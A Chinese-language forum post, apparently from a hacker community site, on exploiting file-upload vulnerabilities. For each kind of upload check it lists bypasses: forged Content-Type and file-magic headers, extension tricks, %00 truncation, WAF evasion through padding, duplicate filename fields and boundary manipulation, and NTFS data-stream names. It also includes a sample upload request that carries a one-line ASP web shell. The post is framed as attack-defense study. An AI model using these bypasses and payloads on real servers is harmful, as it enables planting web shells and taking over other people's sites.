• Welcome to the world's largest Chinese hacker forum

    Welcome to the world's largest Chinese hacker forum, our forum registration is open! You can now register for technical communication with us, this is a free and open to the world of the BBS, we founded the purpose for the study of network security, please don't release business of black/grey, or on the BBS posts, to seek help hacker if violations, we will permanently frozen your IP and account, thank you for your cooperation. Hacker attack and defense cracking or network Security

    business please click here: Creation Security  From CNHACKTEAM

文件上传漏洞利用【攻防演练】


CNHCAKTEAM

Recommended Posts

  • Administrator
常见校验上传文件方法

客户端校验

通过javascript来校验上传文件的后缀是否合法,可以采用白名单,也可以采用黑名单的方式

判断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包。

绕过

直接修改js代码或者使用抓包的方法修改请求内容绕过,可以先上传一个gif木马,通过抓包修改为 jsp/php/asp,只用这种方法来检测是肯定可以绕过的

服务端校验

1.校验请求头 content-type字段

if($_FILES['userfile']['type'] != "image/gif"){
  ....
}
绕过
通过抓包来修改Http头的content-type即可绕过,也肯定是可以绕过这种检测

2.文件头白名单的检测

常见的文件头(文件头标志位)如下
1.JPEG;.JPE;.JPG,”JPGGraphicFile”(FFD8FFFE00
2.gif,”GIF89A”(474946383961
3.zip,”ZipCompressed”(504B0304
4.doc;.xls;.xlt;.ppt;.apr,”MSCompoundDocumentv1orLotusApproachAPRfile(D0CF11E0A1B11AE1)
绕过
在木马内容的前面插入对应的文件头内容,例如:GIF89a ,更保险的方法是在可上传的文件中插入木马代码,然后修改后缀

3.文件加载检测

一般是调用API或函数去进行文件加载测试,例如图像渲染测试,当测试结果正常的时候才允许上传
一次渲染(代码注入)
二次渲染
绕过
通过例如加载文件进行图像渲染的方式来测试,这个时候就一般需要在正常的文件中插入木马代码了,例如图像,那么插入的代码一般会放在图像的注释区,因此不会影响图像正常渲染绕过这种检测,此时可以使用工具(称为插马器)来进行插入,例如edjpgcom,或者直接用copy命令来合成也可以。当然这种检测不一定能够完全绕过

4.后缀名校验

黑名单检测绕过
大小写:如果检测的时候不忽略大小写,那么可以改变后缀名的大小写绕过
扩展名:列表中如果忽略了某些后缀
能被解析的文件扩展名列表:
jsp jspx jspf
asp asa cer aspx
php php php3 php4 pht
exe exee
白名单检测绕过
白名单检测还是会比黑名单强一点,常见的绕过方法有%00截断,还有服务器的解析漏洞

5.WAF校验

即使用不同的WAF产品来进行过滤,通常是独立与服务程序的一段中间程序或者硬件
绕过
大小上限:WAF对校验的用户数据设置大小上限,此时可以构造一个大文件的木马,前面都是填充的垃圾内容

比如1M。此种情况可以构造一个大文件,前面1M的内容为垃圾内容,后面才是真正的木马内容,便可以绕过WAF对文件内容的校验;
当然也可以将垃圾数据放在数据包最开头,这样便可以绕过对文件名的校验
可以将垃圾数据加上Content-Disposition参数后面,参数内容过长,可能会导致waf检测出错
a=111111111……
Content-Disposition……
filename:针对早期版本的安全狗,可以多加一个filename来绕过
filename="1.jpg";filename="1.asp"

或者可以通过吧filename放在非常规的位置来绕过(这里的filename指在http请求头中上传的文件名字)
:content-Type的下面一行;(放在请求头的最后面)
post/get:如果WAF规则是:只检测特定请求类型的数据包,但服务端接收的时候却用了request来,此时通过修改请求头的请求方法就可以绕过
利用NTFS ADS特性:ADSNTFS磁盘格式的一个特性,用于NTFS交换数据流。在上传文件时,如果waf对请求正文的filename匹配不当的话可能会导致绕过
文件重命名绕过:如果web程序会将filename除了扩展名的那段重命名的话,那么还可以构造更多的点、符号等等
filename="shell..............................asp"
特殊的长文件名绕过
文件名使用非字母数字,比如中文等最大程度的拉长,不行的话再结合一下其他的特性进行测试:
shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg
反删除
Content-Disposition:form-data; name="file1"; filename="shell.jsp"
file1改成了file4,这样就不会把这个文件删除了。(JCMS漏洞)
利用waf本身的缺陷
删除实体里面的Conten-Type字段
第一种是删除Content整行,第二种是删除C后面的字符。删除掉ontent-Type: image/jpeg只留下c,将.phpc后面即可,但是要注意额,双引号要跟着c.php

正常包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
构造包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
C.php"
删除Content-Disposition字段里的空格

增加一个空格导致安全狗被绕过案列:
Content-Type: multipart/form-data; boundary=—————————4714631421141173021852555099
尝试在boundary后面加个空格或者其他可被正常处理的字符:
boundary= —————————47146314211411730218525550
修改Content-Disposition字段值的大小写
Boundary边界不一致
每次文件上传时的Boundary边界都是一致的:

Content-Type: multipart/form-data; boundary=---------------------------4714631421141173021852555099
Content-Length: 253
-----------------------------4714631421141173021852555099
Content-Disposition: form-data; name="file1"; filename="shell.asp"
Content-Type: application/octet-stream
<%eval request("a")%>
-----------------------------4714631421141173021852555099--
但如果容器在处理的过程中并没有严格要求一致的话可能会导致一个问题,两段Boundary不一致使得waf认为这段数据是无意义的,可是容器并没有那么严谨:
Win2k3 + IIS6.0 + ASP
文件名处回车
多个Content-Disposition
IIS的环境下,上传文件时如果存在多个Content-Disposition的话,IIS会取第一个Content-Disposition中的值作为接收参数,而如果waf只是取最后一个的话便会被绕过,Win2k8 + IIS7.0 + PHP
利用NTFS ADS特性
ADSNTFS磁盘格式的一个特性,用于NTFS交换数据流。在上传文件时,如果waf对请求正文的filename匹配不当的话可能会导致绕过。
上传的文件名 服务器表面现象 生成的文件内容
Test.php:a.jpg 生成Test.php
Test.php::$DATA 生成test.php <?php phpinof();?>
Test.php::$INDEX_ALLOCATION 生成Test.php文件夹  
Test.php::$DATA.jpg 生成0.jpg <?php phpinof();?>
Test.php::$DATA\aaa.jpg 生成aaa.jpg <?php phpinof();?>

 
  • Like! 1
  • Agree! 1
Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now